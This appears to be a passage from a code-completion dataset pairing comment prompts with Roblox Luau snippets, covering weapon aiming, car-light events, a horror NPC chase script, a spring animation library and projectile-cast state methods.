		if (not Aimed) then return end
		if (Reloading and Exception) or Knifing then return end
		spreadZoom = "unAimed"
		baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
		Aimed = false
		Aiming = true
		if S.aimSettings.Anim then
			local currentFOV = Cam.FieldOfView
			local currentTrans = (Scope.BackgroundTransparency == 1 and (S.guiScope and 0 or 1) or Scope.BackgroundTransparency)
			scopeMain.Visible = false
			scopeSteady.Visible = false
			tweenJoint(LWeld, armC0[1], S.unAimedC1.leftArm, Sine, S.aimSettings.Speed)
			tweenJoint(RWeld, armC0[2], S.unAimedC1.rightArm, Sine, S.aimSettings.Speed)
			tweenJoint(headWeld2, nil, CF(), Sine, S.aimSettings.Speed)
			tweenJoint(Grip, nil, S.unAimedC1.Grip, Sine, S.aimSettings.Speed)
			local t0 = tick()
			while true do
				RS.RenderStepped:wait()
				local Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90
				if Aimed then break end
				if (not Selected) then break end
				aimAlpha = 1 - Sine(Alpha)--1 - COS(RAD(X))
				aimHeadOffset = headOffset.X * aimAlpha
				jumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha)
				translationDivisor = numLerp(7, 20, aimAlpha)
				rotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha)
				armTiltMultiplier = numLerp(1, 0.2, aimAlpha)
				Cam.FieldOfView = numLerp(80, currentFOV, aimAlpha)
				Scope.BackgroundTransparency = numLerp(1, currentTrans, aimAlpha)
				if Alpha == 90 then break end
			end
		else
			scopeMain.Visible = false
			scopeSteady.Visible = false
			LWeld.C0, LWeld.C1 = armC0[1], S.unAimedC1.leftArm
			RWeld.C0, RWeld.C1 = armC0[2], S.unAimedC1.rightArm
			headWeld2.C0 = CF()
			Grip.C1 = S.unAimedC1.Grip
			aimAlpha = 0
			aimHeadOffset = 0
			jumpAnimMultiplier = 1
			translationDivisor = 7
			rotationMultiplier = S.momentumSettings.Amplitude.unAimed
			armTiltMultiplier = 1
			Cam.FieldOfView = 80
			Scope.BackgroundTransparency = 1
		end
		Aiming = Aimed
	else
		spawn(function()
			Aimed = false
			Aiming = false
			spreadZoom = "unAimed"
			baseSpread = S.spreadSettings[spreadZoom][spreadStance][spreadMotion]
			local currentFOV = Cam.FieldOfView
			local currentTrans = (Scope.BackgroundTransparency == 1 and (S.guiScope and 0 or 1) or Scope.BackgroundTransparency)
			scopeMain.Visible = false
			scopeSteady.Visible = false
			tweenJoint(headWeld2, nil, CF(), Sine, S.aimSettings.Speed)
			if S.aimSettings.Anim then
				local t0 = tick()
				while true do
					RS.RenderStepped:wait()
					local Alpha = math.min((tick() - t0) / S.aimSettings.Speed, 1) * 90
					if Aimed then break end
					if (not Selected) then break end
					aimAlpha = 1 - Sine(Alpha)--1 - COS(RAD(90 - Alpha))
					aimHeadOffset = headOffset.X * aimAlpha
					jumpAnimMultiplier = numLerp(1, S.fallSettings.aimEffect, aimAlpha)
					translationDivisor = numLerp(7, 20, aimAlpha)
					rotationMultiplier = numLerp(S.momentumSettings.Amplitude.unAimed, S.momentumSettings.Amplitude.Aimed, aimAlpha)
					armTiltMultiplier = numLerp(1, 0.2, aimAlpha)
					Cam.FieldOfView = numLerp(80, currentFOV, aimAlpha)
					Scope.BackgroundTransparency = numLerp(1, currentTrans, aimAlpha)
					if Alpha == 90 then break end
				end
			else
				scopeMain.Visible = false
				scopeSteady.Visible = false
				aimAlpha = 0
				aimHeadOffset = 0
				jumpAnimMultiplier = 1
				translationDivisor = 7
				rotationMultiplier = S.momentumSettings.Amplitude.unAimed
				armTiltMultiplier = 1
				Cam.FieldOfView = 80
				Scope.BackgroundTransparency = 1
			end
		end)
	end
end


Prompt: -- declarations

Response:
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
Humanoid.Health=200


Prompt: -- << FUNCTIONS >>

Response:
function module:SetupDonorCommands()
	main:GetModule("PageCommands"):SetupCommands(donorCommands, pages.donor, 0)
	module:UpdateDonorFrame()
end

function module:UpdateDonorFrame()
	if main.pdata.Donor then
		unlockDonor.Visible = false
	else
		unlockDonor.Visible = true
	end
	pages.donor.CanvasSize = UDim2.new(0, 0, 0, (finalLabel.AbsolutePosition.Y - firstLabel.AbsolutePosition.Y) + finalLabel.AbsoluteSize.Y*1)
end

return module


Prompt: -- Testing AC FE support

Response:
local event = script.Parent
local car=script.Parent.Parent
local LichtNum = 0

event.OnServerEvent:connect(function(player,data)
	if data['ToggleLight'] then
		if car.Body.Light.on.Value==true then
			car.Body.Light.on.Value=false
		else
			car.Body.Light.on.Value=true
		end
	elseif data['EnableBrakes'] then
		car.Body.Brakes.on.Value=true
	elseif data['DisableBrakes'] then
		car.Body.Brakes.on.Value=false
	elseif data['ToggleLeftBlink'] then
		if car.Body.Left.on.Value==true then
			car.Body.Left.on.Value=false
		else
			car.Body.Left.on.Value=true
		end
	elseif data['ToggleRightBlink'] then
		if car.Body.Right.on.Value==true then
			car.Body.Right.on.Value=false
		else
			car.Body.Right.on.Value=true
		end
	elseif data['ReverseOn'] then
		car.Body.Reverse.on.Value=true
	elseif data['ReverseOff'] then
		car.Body.Reverse.on.Value=false
	elseif data['ToggleStandlicht'] then
		if LichtNum == 0 then
			LichtNum = 2
			car.Body.Headlight.on.Value = true
		elseif LichtNum == 1 then
			LichtNum = 2
			car.Body.Headlight.on.Value = true
		elseif LichtNum == 2 then
			LichtNum = 3
			car.Body.Highlight.on.Value = true
		elseif LichtNum == 3 then
			LichtNum = 1
			car.Body.Highlight.on.Value = false
			car.Body.Headlight.on.Value = false
		end
	elseif data["ToggleHazards"] then
		if car.Body.hazards.Value == false then
			car.Body.hazards.Value = true
			wait(.35)
			car.Body.Left.on.Value=false
			car.Body.Right.on.Value=false
			wait(.35)
			car.Body.Left.on.Value=true
			car.Body.Right.on.Value=true
		elseif car.Body.hazards.Value == true then
			car.Body.hazards.Value = false
			car.Body.Left.on.Value=false
			car.Body.Right.on.Value=false
		end
	end
end)


Prompt:
-----------------
--| Constants |--
-----------------

Response:
local SHOT_SPEED = 550
local SHOT_TIME = 0.6

local NOZZLE_OFFSET = Vector3.new(0, 0.4, -1.1)

local DEBOUNCE_TAG_NAME = 'Busy'


Prompt:
--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Thumbnail")then]]--
--[[JeffTheKiller:FindFirstChild("Thumbnail"):Destroy();]]--
--[[end;]]

Response:
--
local JeffTheKillerHumanoid;
for _,Child in pairs(JeffTheKiller:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
JeffTheKillerHumanoid=Child;
end;
end;
local AttackDebounce=false;
local JeffTheKillerKnife=JeffTheKiller:FindFirstChild("Knife");
local JeffTheKillerHead=JeffTheKiller:FindFirstChild("Head");
local JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild("HumanoidRootPart");
local WalkDebounce=false;
local Notice=false;
local JeffLaughDebounce=false;
local MusicDebounce=false;
local NoticeDebounce=false;
local ChosenMusic;
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0);
local OriginalC0=JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0;
function FindNearestBae()
local NoticeDistance=100;
local TargetMain;
for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className=="Model"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
local TargetPart=TargetModel:FindFirstChild("Torso");
local FoundHumanoid;
for _,Child in pairs(TargetModel:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<NoticeDistance then
TargetMain=TargetPart;
NoticeDistance=(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude;
local hit,pos=raycast(JeffTheKillerHumanoidRootPart.Position,(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).unit,500)
if hit and hit.Parent and hit.Parent.ClassName=="Model"and hit.Parent:FindFirstChild("Torso")and hit.Parent:FindFirstChild("Head")then
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<9 and not AttackDebounce then
Spawn(function()
AttackDebounce=true;
local SwingAnimation=JeffTheKillerHumanoid:LoadAnimation(JeffTheKiller:FindFirstChild("Swing"));
local SwingChoice=math.random(1,2);
local HitChoice=math.random(1,3);
SwingAnimation:Play();
SwingAnimation:AdjustSpeed(1.5+(math.random()*0.1));
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Swing")then
local SwingSound=JeffTheKillerKnife:FindFirstChild("Swing");
SwingSound.Pitch=1+(math.random()*0.04);
SwingSound:Play();
end;
Wait(0.3);
if TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<8 then
FoundHumanoid:TakeDamage(999);
if HitChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit1")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit1");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit2")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit2");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
elseif HitChoice==3 and JeffTheKillerScript and JeffTheKiller and JeffTheKillerKnife and JeffTheKillerKnife:FindFirstChild("Hit3")then
local HitSound=JeffTheKillerKnife:FindFirstChild("Hit3");
HitSound.Pitch=1+(math.random()*0.04);
HitSound:Play();
end;
end;
Wait(0.1);
AttackDebounce=false;
end);
end;
end;
end;
end;
end;
return TargetMain;
end;
while Wait(0)do
local TargetPoint=JeffTheKillerHumanoid.TargetPoint;
local Blockage,BlockagePos=RayCast((JeffTheKillerHumanoidRootPart.CFrame+CFrame.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(TargetPoint.X,JeffTheKillerHumanoidRootPart.Position.Y,TargetPoint.Z)).lookVector*(JeffTheKillerHumanoidRootPart.Size.Z/2)).p,JeffTheKillerHumanoidRootPart.CFrame.lookVector,(JeffTheKillerHumanoidRootPart.Size.Z*2.5),{JeffTheKiller,JeffTheKiller})
local Jumpable=false;
if Blockage then
Jumpable=true;
if Blockage and Blockage.Parent and Blockage.Parent.ClassName~="Workspace"then
local BlockageHumanoid;
for _,Child in pairs(Blockage.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
BlockageHumanoid=Child;
end;
end;
if Blockage and Blockage:IsA("Terrain")then
local CellPos=Blockage:WorldToCellPreferSolid((BlockagePos-Vector3.new(0,2,0)));
local CellMaterial,CellShape,CellOrientation=Blockage:GetCell(CellPos.X,CellPos.Y,CellPos.Z);
if CellMaterial==Enum.CellMaterial.Water then
Jumpable=false;
end;
elseif BlockageHumanoid or Blockage.ClassName=="TrussPart"or Blockage.ClassName=="WedgePart"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Hat"or Blockage.Name=="Handle"and Blockage.Parent.ClassName=="Tool"then
Jumpable=false;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and not JeffTheKillerHumanoid.Sit and Jumpable then
JeffTheKillerHumanoid.Jump=true;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHumanoidRootPart and JeffTheKillerHead:FindFirstChild("Jeff_Step")and (JeffTheKillerHumanoidRootPart.Velocity-Vector3.new(0,JeffTheKillerHumanoidRootPart.Velocity.y,0)).magnitude>=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
Spawn(function()
WalkDebounce=true;
local FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));
local RayTarget,endPoint=Game:GetService("Workspace"):FindPartOnRay(FiredRay,JeffTheKiller);
if RayTarget then
local JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild("Jeff_Step"):Clone();
JeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;
JeffTheKillerHeadFootStepClone:Play();
JeffTheKillerHeadFootStepClone:Destroy();
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then
Wait(0.4);
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then
Wait(0.15);
end
end;
WalkDebounce=false;
end);
end;
local MainTarget=FindNearestBae();
local FoundHumanoid;
if MainTarget then
for _,Child in pairs(MainTarget.Parent:GetChildren())do
if Child and Child.ClassName=="Humanoid"and Child.Health~=0 then
FoundHumanoid=Child;
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then
JeffTheKillerHumanoid.Jump=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and not JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=1;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")and JeffTheKillerHead:FindFirstChild("Jeff_Laugh").IsPlaying then
if not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
end;
end;
if not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then
local MusicChoice=math.random(1,2);
if MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound1");
elseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2")then
ChosenMusic=JeffTheKiller:FindFirstChild("Jeff_Scene_Sound2");
end;
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then
ChosenMusic.Volume=0.5;
ChosenMusic:Play();
end;
elseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then
if JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then
if not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
end;
end;
if not MainTarget and not JeffLaughDebounce then
Spawn(function()
JeffLaughDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Laugh")then JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume==0 or JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume<0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh").Volume=0;
JeffTheKillerHead:FindFirstChild("Jeff_Laugh"):Stop();
JeffLaughDebounce=false;
end);
end;
if not MainTarget and not MusicDebounce then
Spawn(function()
MusicDebounce=true;
repeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;
if ChosenMusic then
ChosenMusic.Volume=0;
ChosenMusic:Stop();
end;
ChosenMusic=nil;
MusicDebounce=false;
end);
end;
if MainTarget then
Notice=true;
if Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild("Jeff_Susto2")then
JeffTheKillerHead:FindFirstChild("Jeff_Susto2"):Play();
NoticeDebounce=true;
end
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
if MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then
JeffTheKillerHumanoid.WalkSpeed=30;
elseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then
JeffTheKillerHumanoid.WalkSpeed=0.004;
end;
JeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService("Workspace"):FindFirstChild("Terrain"));
local NeckRotation=(JeffTheKiller:FindFirstChild("Torso").Position.Y-MainTarget.Parent:FindFirstChild("Head").Position.Y)/10;
if NeckRotation>-1.5 and NeckRotation<1.5 then
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=OriginalC0*CFrame.fromEulerAnglesXYZ(NeckRotation,0,0);
end;
if NeckRotation<-1.5 then
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,-0.993636549,0.112633869,0,0.112633869,0.993636549);
elseif NeckRotation>1.5 then
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0.996671617,0.081521146,0,0.081521146,-0.996671617);
end;
else
end;
else
Notice=false;
NoticeDebounce=false;
JeffTheKiller:FindFirstChild("Torso"):FindFirstChild("Neck").C0=CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,-0);
local RandomWalk=math.random(1,150);
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then
JeffTheKillerHumanoid.WalkSpeed=12;
if RandomWalk==1 then
JeffTheKillerHumanoid:MoveTo(Game:GetService("Workspace"):FindFirstChild("Terrain").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService("Workspace"):FindFirstChild("Terrain"));
end;
end;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then
JeffTheKillerHumanoid.DisplayDistanceType="None";
JeffTheKillerHumanoid.HealthDisplayDistance=0;
JeffTheKillerHumanoid.Name="ColdBloodedKiller";
JeffTheKillerHumanoid.NameDisplayDistance=0;
JeffTheKillerHumanoid.NameOcclusion="EnemyOcclusion";
JeffTheKillerHumanoid.AutoJumpEnabled=true;
JeffTheKillerHumanoid.AutoRotate=true;
JeffTheKillerHumanoid.MaxHealth=500;
JeffTheKillerHumanoid.JumpPower=60;
JeffTheKillerHumanoid.MaxSlopeAngle=89.9;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then
JeffTheKillerHumanoid.AutoJumpEnabled=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then
JeffTheKillerHumanoid.AutoRotate=true;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then
JeffTheKillerHumanoid.PlatformStand=false;
end;
if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then
JeffTheKillerHumanoid.Sit=false;
end;
end;


Prompt: --------------------) Settings

Response:
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 3 -- cooldown for use of the tool again

ZoneModelName = "TS Spin bone" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage


Prompt: -- Reference to the SearchBox TextBox

Response: local searchBox = script.Parent.Parent.Parent.AppManager.Clippify.SearchBox


Prompt:
--[[
	Package link auto-generated by Rotriever
]]

Response:
local PackageIndex = script.Parent._Index

local Package = require(PackageIndex["SoundPlayer"]["SoundPlayer"])

return Package


Prompt: -- detect if they lock first person mode during a live game

Response:
local playerchanged_con = nil
playerchanged_con = player.Changed:Connect(function(property)
	if property == "CameraMaxZoomDistance" or property == "CameraMode" then
		if player.CameraMaxZoomDistance <= 0.5 or player.CameraMode == Enum.CameraMode.LockFirstPerson then
			enableviewmodel()
		end
	end
end)


Prompt:
-- transforms Roblox types into intermediate types, converting
-- between spaces as necessary to preserve perceptual linearity

Response:
local typeMetadata = {
	number = {
		springType = LinearSpring.new,

		toIntermediate = function(value)
			return {value}
		end,

		fromIntermediate = function(value)
			return value[1]
		end,
	},

	NumberRange = {
		springType = LinearSpring.new,

		toIntermediate = function(value)
			return {value.Min, value.Max}
		end,

		fromIntermediate = function(value)
			return NumberRange.new(value[1], value[2])
		end,
	},

	UDim = {
		springType = LinearSpring.new,

		toIntermediate = function(value)
			return {value.Scale, value.Offset}
		end,

		fromIntermediate = function(value)
			return UDim.new(value[1], value[2])
		end,
	},

	UDim2 = {
		springType = LinearSpring.new,

		toIntermediate = function(value)
			local x = value.X
			local y = value.Y
			return {x.Scale, x.Offset, y.Scale, y.Offset}
		end,

		fromIntermediate = function(value)
			return UDim2.new(value[1], value[2], value[3], value[4])
		end,
	},

	Vector2 = {
		springType = LinearSpring.new,

		toIntermediate = function(value)
			return {value.X, value.Y}
		end,

		fromIntermediate = function(value)
			return Vector2.new(value[1], value[2])
		end,
	},

	Vector3 = {
		springType = LinearSpring.new,

		toIntermediate = function(value)
			return {value.X, value.Y, value.Z}
		end,

		fromIntermediate = function(value)
			return Vector3.new(value[1], value[2], value[3])
		end,
	},

	CFrame = {
		springType = LinearSpring.new,

		toIntermediate = function(value)
			return {value:GetComponents()}
		end,

		fromIntermediate = function(value)
			return CFrame.new(unpack(value))
		end,
	},

	Color3 = {
		springType = LinearSpring.new,

		toIntermediate = function(value)
			-- convert RGB to a variant of cieluv space
			local r, g, b = value.R, value.G, value.B

			-- D65 sRGB inverse gamma correction
			r = r < 0.0404482362771076 and r/12.92 or 0.87941546140213*(r + 0.055)^2.4
			g = g < 0.0404482362771076 and g/12.92 or 0.87941546140213*(g + 0.055)^2.4
			b = b < 0.0404482362771076 and b/12.92 or 0.87941546140213*(b + 0.055)^2.4

			-- sRGB -> xyz
			local x = 0.9257063972951867*r - 0.8333736323779866*g - 0.09209820666085898*b
			local y = 0.2125862307855956*r + 0.71517030370341085*g + 0.0722004986433362*b
			local z = 3.6590806972265883*r + 11.4426895800574232*g + 4.1149915024264843*b

			-- xyz -> modified cieluv
			local l = y > 0.008856451679035631 and 116*y^(1/3) - 16 or 903.296296296296*y

			local u, v
			if z > 1e-14 then
				u = l*x/z
				v = l*(9*y/z - 0.46832)
			else
				u = -0.19783*l
				v = -0.46832*l
			end

			return {l, u, v}
		end,

		fromIntermediate = function(value)
			-- convert back from modified cieluv to rgb space

			local l = value[1]
			if l < 0.0197955 then
				return Color3.new(0, 0, 0)
			end
			local u = value[2]/l + 0.19783
			local v = value[3]/l + 0.46832

			-- cieluv -> xyz
			local y = (l + 16)/116
			y = y > 0.206896551724137931 and y*y*y or 0.12841854934601665*y - 0.01771290335807126
			local x = y*u/v
			local z = y*((3 - 0.75*u)/v - 5)

			-- xyz -> D65 sRGB
			local r =  7.2914074*x - 1.5372080*y - 0.4986286*z
			local g = -2.1800940*x + 1.8757561*y + 0.0415175*z
			local b =  0.1253477*x - 0.2040211*y + 1.0569959*z

			-- clamp minimum sRGB component
			if r < 0 and r < g and r < b then
				r, g, b = 0, g - r, b - r
			elseif g < 0 and g < b then
				r, g, b = r - g, 0, b - g
			elseif b < 0 then
				r, g, b = r - b, g - b, 0
			end

			-- gamma correction from D65
			-- clamp to avoid undesirable overflow wrapping behavior on certain properties (e.g. BasePart.Color)
			return Color3.new(
				min(r < 3.1306684425e-3 and 12.92*r or 1.055*r^(1/2.4) - 0.055, 1),
				min(g < 3.1306684425e-3 and 12.92*g or 1.055*g^(1/2.4) - 0.055, 1),
				min(b < 3.1306684425e-3 and 12.92*b or 1.055*b^(1/2.4) - 0.055, 1)
			)
		end,
	},
}

local springStates = {} -- {[instance] = {[property] = spring}

RunService.Stepped:Connect(function(_, dt)
	for instance, state in pairs(springStates) do
		for propName, spring in pairs(state) do
			if spring:canSleep() then
				state[propName] = nil
				instance[propName] = spring.rawTarget
			else
				instance[propName] = spring:step(dt)
			end
		end

		if not next(state) then
			springStates[instance] = nil
		end
	end
end)

local function assertType(argNum, fnName, expectedType, value)
	if not STRICT_TYPES then
		return
	end

	if not expectedType:find(typeof(value)) then
		error(
			("bad argument #%d to %s (%s expected, got %s)"):format(
			argNum,
			fnName,
			expectedType,
			typeof(value)
			),
			3
		)
	end
end

local spr = {}

function spr.target(instance, dampingRatio, frequency, properties)
	assertType(1, "spr.target", "Instance", instance)
	assertType(2, "spr.target", "number", dampingRatio)
	assertType(3, "spr.target", "number", frequency)
	assertType(4, "spr.target", "table", properties)

	if dampingRatio ~= dampingRatio or dampingRatio < 0 then
		error(("expected damping ratio >= 0; got %.2f"):format(dampingRatio), 2)
	end

	if frequency ~= frequency or frequency < 0 then
		error(("expected undamped frequency >= 0; got %.2f"):format(frequency), 2)
	end

	local state = springStates[instance]

	if not state then
		state = {}
		springStates[instance] = state
	end

	for propName, propTarget in pairs(properties) do
		local propValue = instance[propName]

		if STRICT_TYPES and typeof(propTarget) ~= typeof(propValue) then
			error(
				("bad property %s to spr.target (%s expected, got %s)"):format(
				propName,
				typeof(propValue),
				typeof(propTarget)
				),
				2
			)
		end

		local spring = state[propName]
		if not spring then
			local md = typeMetadata[typeof(propTarget)]

			if not md then
				error("unsupported type: " .. typeof(propTarget), 2)
			end

			spring = md.springType(dampingRatio, frequency, propValue, md, propTarget)
			state[propName] = spring
		end

		spring.d = dampingRatio
		spring.f = frequency
		spring:setGoal(propTarget)
	end
end

function spr.stop(instance, property)
	assertType(1, "spr.stop", "Instance", instance)
	assertType(2, "spr.stop", "string|nil", property)

	if property then
		local state = springStates[instance]
		if state then
			state[property] = nil
		end
	else
		springStates[instance] = nil
	end
end

if STRICT_API_ACCESS then
	return tableLock(spr)
else
	return spr
end


Prompt: --!optimize 2

Response:
local ReplicatedFirst = game:GetService('ReplicatedFirst')
local TeleportService = game:GetService("TeleportService")

ReplicatedFirst:RemoveDefaultLoadingScreen()
TeleportService:SetTeleportGui(Instance.new('ScreenGui'))


Prompt: ---- STATE MODIFICATION ----

Response:
function ActiveCastStatic:Pause()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Pause", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	self.StateInfo.Paused = true
end

function ActiveCastStatic:Resume()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Resume", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)
	self.StateInfo.Paused = false
end

function ActiveCastStatic:Terminate()
	assert(getmetatable(self) == ActiveCastStatic, ERR_NOT_INSTANCE:format("Terminate", "ActiveCast.new(...)"))
	assert(self.StateInfo.UpdateConnection ~= nil, ERR_OBJECT_DISPOSED)

	-- First: Set EndTime on the latest trajectory since it is now done simulating.
